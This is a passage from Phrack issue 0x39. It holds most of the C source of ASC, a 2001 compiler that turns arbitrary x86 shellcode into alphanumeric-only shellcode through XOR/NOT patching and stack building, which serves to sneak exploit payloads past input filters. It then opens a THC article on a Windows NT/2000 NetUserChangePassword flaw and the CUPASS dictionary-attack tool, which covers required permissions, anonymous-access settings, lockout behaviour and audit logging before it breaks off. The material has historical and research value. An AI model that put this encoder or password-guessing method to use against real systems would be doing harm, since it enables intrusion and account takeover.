XOR_AX(s,WORD(xSB1,alphanumeric_get_byte())); /* xor ax,xSB1 =>EAX=SB1 */

O16(s);PUSHr(s,EAX); /* push ax */

INCr(s,ESP); /* inc esp */

break;

case 2:

xSB1=alphanumeric_get_complement(SB1); xSB2=alphanumeric_get_complement(SB2); PUSHw(s,WORD(XOR(SB1,xSB1),XOR(SB2,xSB2))); /* push ~xSB1 ~xSB2 */

O16(s);POPr(s,EAX); /* pop ax */

XOR_AX(s,WORD(xSB1,xSB2)); /* xor ax,xSB1 xSB2 =>EAX=SB1 SB2 */

O16(s);PUSHr(s,EAX); /* push ax */

break;

case 3:

xSB1=alphanumeric_get_complement(SB1); xSB2=alphanumeric_get_complement(SB2); xSB3=alphanumeric_get_complement(SB3); PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),alphanumeric_get_byte())); /* push ~xSB1 ~xSB2 ~xSB3 */

POPr(s,EAX); pop eax */

XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,alphanumeric_get_byte())); /* xor eax,xSB1 xSB2 xSB3 =>EAX=SB1 SB2 SB3 */

PUSHr(s,EAX); push eax */

INCr(s,ESP); inc esp */

break;

case 4:

xSB1=alphanumeric_get_complement(SB1); xSB2=alphanumeric_get_complement(SB2); xSB3=alphanumeric_get_complement(SB3); xSB4=alphanumeric_get_complement(SB4); PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),XOR(SB4,xSB4))); /* push ~xSB1 ~xSB2 ~xSB3 ~xSB4 */

POPr(s,EAX); /* pop eax */

XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,xSB4)); /* xor eax,xSB1 xSB2 xSB3 xSB4 =>EAX=SB1 SB2 SB3 SB4 */

PUSHr(s,EAX); /* push eax */

break;

}

break;

}

/* possibly realize a NOT on the stack */

if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) alphanumeric_stack_generate_not(s,size);

return 0;

}

/* generate the original shellcode on the stack */

/* =====================================

int alphanumeric_stack_generate(struct Sshellcode *output,struct Sshellcode *input) { int category,size,i;

if (input==NULL) return ‑1;

if (output==NULL) return ‑1;

i=input‑>size‑1;

while (i>=0) { /* loop from the right to the left of our original shellcode */

category=alphanumeric_stack_get_category(input‑>opcodes[i]); size=1; /* by default, we have 1 byte of the same category */

/* loop until maximum 3 previous bytes are from the same category */

while ((i‑size>=0)&&(size<4)&&(alphanumeric_stack_get_category(input‑>opcodes[i‑size])==category)) size++;

/* write those bytes on the stack */

alphanumeric_stack_generate_push(output,category,&input‑>opcodes[i‑size+1],size);

i‑=size;

}

return 0;

}

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | PATCHES MANIPULATIONS FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* return the category of the byte */

/* =============================== */

int alphanumeric_patches_get_category(unsigned char c) {

if (alphanumeric_check(c)) return CATEGORY_ALPHA;

else if (c<0x80) return CATEGORY_XOR;

else { /* need a NOT */

c=NOT(c);

if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;

else return CATEGORY_XOR_NOT;

}

}

/* generate the patches initialization shellcode */

/* =====================================

int alphanumeric_patches_generate_initialization(struct Sshellcode *shellcode, int patcher_size,int alpha_begin,int base,unsigned char disp8) { struct Sshellcode *s;

int offset; /* real offset for original shellcode to patch */

struct Sshellcode *p_offset; /* offset "shellcode" */

int fill_size; /* size to add to the initialization shellcode to align */

int initialization_size,i;

if (shellcode==NULL) return ‑1;

initialization_size=0;

while(1) { /* loop until we create a valid initialization shellcode */

s=shellcode_malloc();

fill_size=0;

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */

PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>EDX */

if (base==EBX) {

PUSHr(s,EBP); /*push ebp =>EBX */

}

else {

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EBX */

}

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */

offset=shellcode‑>size+initialization_size+patcher_size+alpha_begin‑disp8; /* calculate the real offset */

/* if the offset is not correct we must modify the size of our initialization shellcode */

if (offset<0) { /* align to have a positive offset */

fill_size=‑offset;

offset=0;

}

if (offset&1) { /* align for the 2*ebp */

fill_size++;

offset++;

}

offset/=2;

p_offset=shellcode_malloc();

DB(p_offset,BYTE(offset,0));

DB(p_offset,BYTE(offset,1));

DB(p_offset,BYTE(offset,2));

DB(p_offset,BYTE(offset,3)); alphanumeric_stack_generate(s,p_offset); /* push offset => EBP */

shellcode_free(p_offset);

PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>ESI */

if (base==EDI) {

PUSHr(s,EBP); /*push ebp =>EDI */

}

else {

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EDI */

}

POPAD(s); popad */

if (s‑>size<=initialization_size) break; /* if the offset is good */

initialization_size++;

}

/* the offset is good */

/* fill to reach the initialization_size value */

while (s‑>size<initialization_size) INCr(s,ECX);

/* fill to reach the offset value */

for (i=0;i<fill_size;i++) INCr(s,ECX);

shellcode_cat(shellcode,s);

shellcode_free(s);

return 0;

}

/* generate the xor patch */

/* ====================== */

#define PB1 bytes[0]

#define PB2 bytes[1]

#define PB3 bytes[2]

#define PB4 bytes[3]

int alphanumeric_patches_generate_xor(struct Sshellcode *s,int category, unsigned char *bytes,int size,int base,char disp8) { unsigned char xPB1,xPB2,xPB3,xPB4;

int reg,i;

if (s==NULL) return ‑1;

/* eventually realize a NOT on bytes[] */

if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) { for (i=0;i<size;i++) bytes[i]=NOT(bytes[i]);

}

/* generate the bytes in the original shellcode */

switch(category) {

case CATEGORY_ALPHA:

case CATEGORY_ALPHA_NOT:

/* nothing to do */

break;

case CATEGORY_XOR:

case CATEGORY_XOR_NOT: reg=alphanumeric_get_register(M_EAX|M_ECX);

switch(size) {

case 1:

xPB1=alphanumeric_get_complement(PB1); PUSHb(s,XOR(PB1,xPB1)); /* push ~xPB1 */

POPr(s,reg); /* pop reg */

PB1=xPB1; /* modify into the original shellcode */

XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB1,~xPB1 */

break;

case 2:

xPB1=alphanumeric_get_complement(PB1); xPB2=alphanumeric_get_complement(PB2); PUSHw(s,WORD(XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB2 ~xPB1 */

O16(s);POPr(s,reg); /* pop reg */

PB1=xPB1; /* modify into the original shellcode */

PB2=xPB2;

O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB2 xPB1,~xPB2 ~xPB1 */

break;

case 4:

xPB1=alphanumeric_get_complement(PB1); xPB2=alphanumeric_get_complement(PB2); xPB3=alphanumeric_get_complement(PB3); xPB4=alphanumeric_get_complement(PB4); PUSHd(s,DWORD(XOR(PB4,xPB4),XOR(PB3,xPB3),XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB4 ~xPB3 ~xPB2 ~xPB1 */

POPr(s,reg); /* pop reg */

PB1=xPB1; /* modify into the original shellcode */

PB2=xPB2;

PB3=xPB3;

PB4=xPB4;

XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB4 xPB3 xPB2 xPB1,~xPB4 ~xPB3 ~xPB2 ~xPB1 */

break;

}

break;

}

/* eventually realize a NOT on the shellcode */

if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) { reg=alphanumeric_get_register(M_EDX|M_ESI);

switch(size) {

case 1:

XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dl/dh */

break;

case 2:

O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dx/si */

break;

case 4:

XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],edx/esi */

break;

}

}

return 0;

}

/* generate the patch and the original shellcode */

/* =====================================

int alphanumeric_patches_generate(struct Sshellcode *output,struct Sshellcode *input) { struct Sshellcode *out,*in; /* input and output codes */

struct Sshellcode *best; /* last best shellcode */

struct Sshellcode *patcher; /* patches code */

int alpha_begin,alpha_end; /* offsets of the patchable part */

int base; /* base register */

unsigned char *disp8_begin; /* pointer to the current first disp8 */

unsigned char disp8;

int category,size,i,j;

if (input==NULL) return ‑1;

if (output==NULL) return ‑1;

/* get the offset of the first and last non alphanumeric bytes */

for (alpha_begin=0;alpha_begin<input‑>size;alpha_begin++) {

if (!alphanumeric_check(input‑>opcodes[alpha_begin])) break;

}

if (alpha_begin>=input‑>size) { /* if patching is not needed */

shellcode_cat(output,input);

return 0;

}

for (alpha_end=input‑>size‑1;alpha_end>alpha_begin;alpha_end‑‑) { if (!alphanumeric_check(input‑>opcodes[alpha_end])) break;

}

base=alphanumeric_get_register(M_EBX|M_EDI); best=shellcode_malloc();

disp8_begin=ALPHANUMERIC_BYTES;

while (*disp8_begin!=0) { /* loop for all possible disp8 values */

disp8=*disp8_begin;

/* allocate all shellcodes */

out=shellcode_malloc();

shellcode_cpy(out,output);

in=shellcode_malloc();

shellcode_cpy(in,input);

patcher=shellcode_malloc();

i=alpha_begin;

size=0;

while (i<=alpha_end) { /* loop into our original shellcode */

/* increment the offset if needed */

for (j=0;j<size;j++) {

if (alphanumeric_check(disp8+1)) {

disp8++;

}

else INCr(patcher,base); /* inc base */

}

category=alphanumeric_patches_get_category(in‑>opcodes[i]); size=1; /* by default, we have 1 byte of the same category */

/* loop until maximum 3 next bytes are from the same category */

while ((i+size<=alpha_end)&&(size<4)&&(alphanumeric_patches_get_category(in‑>opcodes[i+size])==category)) size++; if (size==3) size=2; /* impossible to XOR 3 bytes */

/* patch those bytes */

alphanumeric_patches_generate_xor(patcher,category,&in‑>opcodes[i],size,base,disp8);

i+=size;

}

alphanumeric_patches_generate_initialization(out,patcher‑>size,alpha_begin, base,*disp8_begin); /* create a valid initialization shellcode */

shellcode_cat(out,patcher);

shellcode_cat(out,in);

if ((best‑>size==0)||(out‑>size<best‑>size)) shellcode_cpy(best,out); /* if this is a more interesting shellcode, we save it */

/* free all shellcodes and malloc */

shellcode_free(out);

shellcode_free(in);

shellcode_free(patcher);

disp8_begin++;

}

shellcode_cpy(output,best);

shellcode_free(best);

return 0;

}

/***************************************

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | INTERFACE FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void print_syntax() {

fprintf(stderr,"ASC ‑ IA32 Alphanumeric Shellcode Compiler\n");

fprintf(stderr,"======================================n");

fprintf(stderr,"SYNTAX : asc [options] <input file[.c]>\n"); fprintf(stderr,"COMPILATION OPTIONS :\n");

fprintf(stderr," ‑a[ddress] stack|<r32> : address of shellcode (default=stack)\n"); fprintf(stderr," ‑m[ode] stack|patches : output shellcode build mode (default=patches)\n"); fprintf(stderr," ‑s[tack] call|jmp|null|ret : method to return to original code on the stack\n");

fprintf(stderr," (default=null)\n");

fprintf(stderr,"DEBUGGING OPTIONS :\n");

fprintf(stderr," ‑debug‑start : breakpoint to start of compiled shellcode\n"); fprintf(stderr," ‑debug‑build‑original : breakpoint to building of original shellcode\n"); fprintf(stderr," ‑debug‑build‑jump : breakpoint to building of stack jump code\n"); fprintf(stderr," ‑debug‑jump : breakpoint to stack jump\n"); fprintf(stderr," ‑debug‑original : breakpoint to start of original shellcode\n"); fprintf(stderr,"INPUT/OUTPUT OPTIONS :\n");

fprintf(stderr," ‑c[har] <char[] name> : name of C input array (default=first array)\n"); fprintf(stderr," ‑f[ormat] bin|c : output file format (default=bin)\n"); fprintf(stderr," ‑o[utput] <output file> : output file name (default=stdout)\n");

fprintf(stderr,"\n");

fprintf(stderr,"ASC 0.9.1 rix@hert.org @2001\n");

exit(1);

}

void print_error() {

perror("Error ASC");

exit(1);

};

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | MAIN PROGRAM | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define STACK REGISTERS+1

#define INPUT_FORMAT_BIN 0

#define INPUT_FORMAT_C 1

#define OUTPUT_FORMAT_BIN 0

#define OUTPUT_FORMAT_C 1

#define OUTPUT_MODE_STACK 0

#define OUTPUT_MODE_PATCHES 1

#define STACK_MODE_CALL 0

#define STACK_MODE_JMP 1

#define STACK_MODE_NULL 2

#define STACK_MODE_RET 3

int main(int argc, char **argv) {

char *input_filename=NULL,*output_filename=NULL;

struct Sshellcode *input=NULL,*output=NULL,*stack=NULL;

char input_format=INPUT_FORMAT_BIN;

char *input_variable=NULL;

char address=STACK;

char output_format=OUTPUT_FORMAT_BIN;

char output_mode=OUTPUT_MODE_PATCHES;

char stack_mode=STACK_MODE_NULL;

int debug_start=0;

int debug_build_original=0;

int debug_build_jump=0;

int debug_jump=0;

int debug_original=0;

int ret,l;

/* command line parameters definition */

#define SHORT_OPTIONS "a:c:f:m:o:s:"

struct option long_options[]={

/* {"name",has_arg,&variable,value} */

{"address",1,NULL,'a'},

{"mode",1,NULL,'m'},

{"stack",1,NULL,'s'},

{"debug‑start",0,&debug_start,1},

{"debug‑build‑original",0,&debug_build_original,1}, {"debug‑build‑jump",0,&debug_build_jump,1},

{"debug‑jump",0,&debug_jump,1},

{"debug‑original",0,&debug_original,1},

{"char",1,NULL,'c'},

{"format",1,NULL,'f'},

{"output",1,NULL,'o'},

{0,0,0,0}

};

int c;

int option_index=0;

/* read command line parameters */

opterr=0;

while ((c=getopt_long_only(argc,argv,SHORT_OPTIONS,long_options,&option_index))!=‑1) { switch (c) {

case 'a':

if (!strcmp(optarg,"eax")) address=EAX;

else if (!strcmp(optarg,"ebx")) address=EBX;

else if (!strcmp(optarg,"ecx")) address=ECX;

else if (!strcmp(optarg,"edx")) address=EDX;

else if (!strcmp(optarg,"esp")) address=ESP;

else if (!strcmp(optarg,"ebp")) address=EBP;

else if (!strcmp(optarg,"esi")) address=ESI;

else if (!strcmp(optarg,"edi")) address=EDI;

else if (!strcmp(optarg,"stack")) address=STACK;

else print_syntax();

break;

case 'c':

input_format=INPUT_FORMAT_C;

input_variable=optarg;

break;

case 'f':

if (!strcmp(optarg,"bin")) output_format=OUTPUT_FORMAT_BIN; else if (!strcmp(optarg,"c")) output_format=OUTPUT_FORMAT_C; else print_syntax();

break;

case 'm':

if (!strcmp(optarg,"stack")) output_mode=OUTPUT_MODE_STACK; else if (!strcmp(optarg,"patches")) output_mode=OUTPUT_MODE_PATCHES; else print_syntax();

break;

case 'o':

output_filename=optarg;

break;

case 's':

output_mode=OUTPUT_MODE_STACK;

if (!strcmp(optarg,"call")) stack_mode=STACK_MODE_CALL;

else if (!strcmp(optarg,"jmp")) stack_mode=STACK_MODE_JMP; else if (!strcmp(optarg,"null")) stack_mode=STACK_MODE_NULL; else if (!strcmp(optarg,"ret")) stack_mode=STACK_MODE_RET; else print_syntax();

break;

case 0: /* long option set variable */

break;

case '?': /* error option character */

case ':': /* error option parameter */

default:

print_syntax();

}

}

if (optind+1!=argc) print_syntax(); /* if no input file specified */

input_filename=argv[optind];

/* detect the input file format */

l=strlen(input_filename);

if ((l>2)&&(input_filename[l‑2]=='.')&&(input_filename[l‑1]=='c')) input_format=INPUT_FORMAT_C;

random_initialize();

input=shellcode_malloc();

output=shellcode_malloc();

/* read input file */

if (debug_original) INT3(input);

fprintf(stderr,"Reading %s ... ",input_filename);

switch(input_format) {

case INPUT_FORMAT_BIN: ret=shellcode_read_binary(input,input_filename);

break;

case INPUT_FORMAT_C: ret=shellcode_read_C(input,input_filename,input_variable); break;

}

if (ret==‑1) {

fprintf(stderr,"\n");

print_error();

}

if (!debug_original) fprintf(stderr,"(%d bytes)\n",input‑>size); else fprintf(stderr,"(%d bytes)\n",input‑>size‑1);

if (debug_start) INT3(output);

/* obtain the shellcode address */

if (address==STACK) address=alphanumeric_get_address_stack(output); alphanumeric_initialize_registers(output,address);

/* generate the original shellcode */

if (debug_build_original) INT3(output);

switch(output_mode) {

case OUTPUT_MODE_STACK: alphanumeric_stack_generate(output,input);

if (stack_mode!=STACK_MODE_NULL) { /* if jump building needed */

stack=shellcode_malloc();

if (debug_jump) INT3(stack);

switch(stack_mode) {

case STACK_MODE_CALL:

CALL_ESP(stack); /* call esp */

break;

case STACK_MODE_JMP:

JMP_ESP(stack); /* jmp esp */

break;

case STACK_MODE_RET:

PUSHr(stack,ESP); /* push esp */

RET(stack); /* ret */

break;

}

if (debug_build_jump) INT3(output); alphanumeric_patches_generate(output,stack); shellcode_free(stack);

}

else { /* no jump building needed */

if (debug_jump) INT3(output);

}

break;

case OUTPUT_MODE_PATCHES: alphanumeric_patches_generate(output,input);

break;

}

/* print shellcode to the screen */

fprintf(stderr,"Shellcode (%d bytes):\n",output‑>size); shellcode_print(output);

fclose(stdout);

fprintf(stderr,"\n");

/* write input file */

if (output_filename) {

fprintf(stderr,"Writing %s ...\n",output_filename);

switch(output_format) {

case OUTPUT_FORMAT_BIN: ret=shellcode_write_binary(output,output_filename);

break;

case OUTPUT_FORMAT_C: ret=shellcode_write_C(output,output_filename);

break;

}

if (ret==‑1) {

shellcode_free(input);

shellcode_free(output);

print_error();

}

}

shellcode_free(input);

shellcode_free(output);

fprintf(stderr,"Done.\n");

}

/***************************************

<‑‑>

Cupass and the netuserchangepassword problem

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12

|=‑‑‑‑‑‑‑‑‑=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ Doc Holiday / THC <holiday@TheHackersChoice.com> ]=‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑| INTRODUCTION

Microsoft has a known problem in Windows NT 4, that enables an attacker to change the password of any user under special/default circumstances.

The same problem reappeared in Windows 2000 some days ago. The flaw exists in Microsofts implementation of the NetUserChangePassword function.

These facts inspired me to write this article and CUPASS, a simple tool that starts a dictionary attack against user accounts.

In this article I want to discuss all things worth knowing about the NetUserChangePassword problem.

Have fun while reading this article...

Doc Holiday /THC

‑‑‑‑| THE PASSWORD CHANGE PROTOCOLS

As a little background I will tell you something about the possibilites to change a password in a Windows NT/W2K environment.

Windows 2000 supports several protocols for changing passwords which are used under different circumstances.

These protocols are

‑ NetUserChangePassword protocol (we will call it NUCP)

‑ NetUserSetInfo protocol

‑ Kerberos change‑password protocol

‑ Kerberos set‑password protocol

‑ LDAP write‑password attribute (presumes 128Bit SSL)

‑ XACT‑SMB protocol (for LAN Manager compatibility)

Because there is a flaw in Microsofts implementation of the NUCP protocol, we will have a deeper look at this one.

‑‑‑‑| PROTOCOL ELECTION

We can see that there are a lot of protocols for changing passwords in an Microsoft environment. Now I will show in which cases the NUCP is used:

case 1

‑‑‑‑‑‑

If a user changes his password by pressing CTRL+ALT+DELETE and pressing the "Change Password" button, the NUCP protocol is used, if the target is a domain or the local member server or workstation.

If the target is a Kerberos realm, the Kerberos change‑password protocol is used instead of NUCP.

case 2

‑‑‑‑‑‑

If a change password request is initiated from an Windows NT 3.x or NT 4 machine, the NUCP and/or NetUserSetInfo protocols are used.

case 3

‑‑‑‑‑‑

If a program uses the NUCP method on the Active Directory Services Interface (ADSI), the IaDSUser interface first tries to change the password with the LDAP protocol, and then by using the NUCP method.

‑‑‑‑| NUCP FUNCTION CALL

At this time we know that a lot of ways exist to change a users password. We also know in which cases NUCP is used.

Now we want to have a little look at the function NetUserChangePassword itself. (More detailed information can be found at Microsoft's SDK!)

Prototype

‑‑‑‑‑‑‑‑‑

The prototype of the NetUserChangePassword function is defined in "lmaccess.h", and looks as follows:

NET_API_STATUS NET_API_FUNCTION

NetUserChangePassword (

IN LPCWSTR domainname OPTIONAL,

IN LPCWSTR username OPTIONAL,

IN LPCWSTR oldpassword,

IN LPCWSTR newpassword

);

The parameters are explained consecutively:

Parameters

‑‑‑‑‑‑‑‑‑‑

‑>domainname

‑‑‑‑‑‑‑‑‑‑

Pointer to a null‑terminated Unicode string that specifies the name of a remote server or domain.

‑>username

‑‑‑‑‑‑‑‑

Pointer to a null‑terminated Unicode string that specifies a user name.

‑>oldpassword

‑‑‑‑‑‑‑‑‑‑‑

Pointer to a null‑terminated Unicode string that specifies the user's old password on the server or domain.

‑>newpassword

‑‑‑‑‑‑‑‑‑‑‑

Pointer to a null‑terminated Unicode string that specifies the user's new password on the server or domain.

Return values

‑‑‑‑‑‑‑‑‑‑‑‑‑

The return values are defined in "LMERR.H" and "WINERROR.H".

With a deeper look in this files we can see that if the function was executed with success, the return value is 0 (zero) btw. NERR_Success.

The most important error values are:

‑>ERROR_ACCESS_DENIED (WINERROR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Access is denied ;)

If the target is a NT Server/Domain Controller, and the option "User Must Log On in Order to Change Password" is enabled, this error code is the result of CUPASS. The password could not be guessed :(

If the target is a W2K domain controller with AD installed, and the EVERYONE group is removed from the group "Pre‑Windows 2000 compatible access", than this error code is an result of NUCP.

In some cases this means the right password was guessed by CUPASS, but could not be changed because of insufficient permissions on the corresponding AD object.

‑>ERROR_INVALID_PASSWORD (WINERROR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The guessed password (oldpassword) was invalid

‑>ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The account is locked due to many logon tries.

‑>ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Indicates a Windows NT Server could not be contacted or that objects within the domain are protected such that necessary information could not be retrieved.

‑>NERR_UserNotFound (LMERR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The useraccount could not be found on the given server.

‑>NERR_NotPrimary (LMERR.H)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The operation is only allowed on the PDC. This appears e.g. if you try to change passwords on a BDC.

This return values are evaluated by CUPASS. For all others, the numeric value will be shown, and you can simply have a look at this files for the meaning of the errorcode.

MORE DETAILS ON NUCP API CALL

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The NUCP function is only available on Windows NT and Windows 2000 platforms.

As part of the LanMan‑API the NUCP function is UNICODE only!!! This makes the programming a little bit harder, but not impossible :)

UNICODE on Windows is an topic for itself, and we dont want to talk more about it here. Have a look at Microsofts msdn webpage or Charles Petzolds book about Windows programming, if you are interested in this topic.

For a successfull usage of NUCP, you have to link your program with the "Netapi32.lib" library!

‑‑‑‑| REQUIRED PERMISSIONS FOR NUCP

NUCP is part of the Microsoft network management functions.

The management functions consists of different groups like NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.

These functions are again splitted in Query Functions and Update Functions. Whilst query functions just allow to query informations, the update functions allow changes on objects.

An example for a query function is e.g the NetUserEnum function which provides information about all user accounts on a server.

An example for an update function is the NetUserChangePassword function which changes the password of a user account :)

Its easy to imagine, that query functions need less permissions than update functions for beeing executed.

Lets have a look what permissions are needet:

WINDOWS NT

‑‑‑‑‑‑‑‑‑‑

The query functions like NetGroupEnum, NetUserEnum etc. and can be executed by all authenticated users.

This includes Anonymous users, if the RestrictAnonymous policy setting allows anonymous access.

On a Windows NT member server, workstation or PDC, the NetUserChangePassword function can only be (successfull) executed by Administrators, Account Operators or the user of the account, if the option 'User Must Log On in Order to Change Password' for this user is enabled.

If 'User Must Log On in Order to Change Password' is not enabled, a user can change the password of any other user, as long he knows the actual password.

WINDOWS 2000

‑‑‑‑‑‑‑‑‑‑‑‑

The query functions like NetGroupEnum, NetUserEnum etc. can be executed by all authenticated users. This includes Anonymous users, if the RestrictAnonymous policy setting allows anonymous access.

On a W2K member server or workstation the NetUserChangePassword function should only be (successfully) executable by Administrators, Account Operators or the user of the account.

That this isn't the case, can be shown with CUPASS, because here is the flaw that Microsoft made with his implementation of NetUserChangePassword.

On W2K member servers and workstations, the NetUserChangePassword function can be successfully executed by any user who knows the current password of the attacked user account.

( For your information:

The option 'User Must Log On in Order to Change Password' has been removed >from W2K! )

On a W2K domain controller with Active Directory, access to an object is granted based on the ACL of the object (Because W2K with installed AD stores the user passwords in the AD in contrast to NT 3.x/4).

Network management query functions are permitted to all authenticated users and the members of the group "Pre‑Windows 2000 compatible access" by the default ACL's.

Theoretical Network Management Update functions like NUCP are only permitted to Administrators and Account Operators.

That this is not the case, can also be shown with CUPASS.

CUPASS works fine if AD is installed on the target system.

If the "everyone" group is removed from the

"Pre‑Windows 2000 compatible access" group, the result of CUPASS will be Errorcode 5, which means ACCESS_DENIED!.

My research shows that anyhow the password is guessed by CUPASS, but can not be changed because of insufficient permissions on the AD object!

‑‑‑‑| ANONYMOUS CONNECT

There is something I didn't talk about much, the Anonymous User Problem, also known as the NULL‑User problem.

Lets have a short look at how the Anonymous security settings will take affect to the NUCP problem:

‑> W2K

‑‑‑

The value Data of the following registry value regulates the behaviour of the operating system regarding to the NULL USER CONNECT.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA Value: RestrictAnonymous

Value Type: REG_DWORD

If RestrictAnonymous is set to 0 (zero), which is the default setting, CUPASS will work properly.

If RestrictAnonymous is set to 1, what means the enumeration of SAM accounts and names is not allowed, CUPASS will work properly.

If RestrictAnonymous is set to 2, what means no access without explicit anonymous permissions, there is no possibility to change the password with NUCP :(

Because the value 2 has comprehensive consequences to the behaviour of the windows environment (e.g. Browser service will not work properly, netlogon secure channels could not be established properly by member workstations etc..) it is rare used.

These settings are the same on W2K member server and W2K DC with AD!

‑> NT4

‑‑‑

The value Data of the following registry value regulates the behaviour of the operating system regarding to the NULL USER CONNECT.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA Value: RestrictAnonymous

Value Type: REG_DWORD

Converse to W2K there are only two valid values 0 (zero) and 1 for RestrictAnonymous.

If RestrictAnonymous is set to 0 (zero), which is the default setting, CUPASS will work properly.

If RestrictAnonymous is set to 1, what means the enumeration of SAM accounts and names is not allowed, CUPASS will work properly.

COMMON

‑‑‑‑‑‑

The process that calls the NetUserChangePassword function in some cases must have the SE_CHANGE_NOTIFY_NAME privilege

(except for system account and members of the local Administrator group). Per default this privilege is enabled for every account, but can be disabled by the administrator.

SE_CHANGE_NOTIFY_NAME could not be found at the privileges, because it is called "Bypass traverse checking"!

This is an declarative from Microsoft. I tried it, but I didn't find a case in that this right was necessary to execute the NUCP function call.

‑‑‑‑| POLICY AND LOGGING

I will have a look for the policy settings, that will take affect to the NUCP problem.

ACCOUNT POLICIES

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑>PASSWORD POLICY

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The settings "Enforce password history" and "Minimum password age" will take effect to the result of CUPASS, in the way that CUPASS can't "realy" change the password, and the error code 2245 will result.

But this doesn't matter, because we know the "old" password at this time, and CUPASS just tried to replace the "old" password with the "old" password again.

‑>ACCOUNT LOGOUT POLICY

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Account lockout treshold

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The settings "Account lockout duration" and

"Reset Account lockout after ..." are only relevant if the "Account lockout treshold" ist set to any value >0.

If the treshold is set, than this takes affect to the work of CUPASS, because all attempts of CUPASS exceeding the treshold will lead to an account lockout :(

However the Logout Policy ist not valid for the Administrator on NT4 environments, until the NT Reskit tool "Passprop" is used!

In this case even the Administator account will be locked

for network logons!

If we start CUPASS against any account of a W2K server or a W2K domain controller with AD, this account is locked out, and even the Administrator account is marked as "Account is locked out", too !

But it is still possible for the Administrator account to log on interactive on the machine!

AUDIT POLICY

‑‑‑‑‑‑‑‑‑‑‑‑

Lets have a look which auditing events have to enabled, to see an CUPASS attack in the security logs of the target machine.

Audit Account Management

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If the setting "Audit Account Management" is enabled (success/failure), an entry with the ID 627 appears in in the security log.

This entry contains all necessary datas for the administrator :( These e.g. are: Date, Time, Target Account Name, Caller User Name etc.

Audit account logon events

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

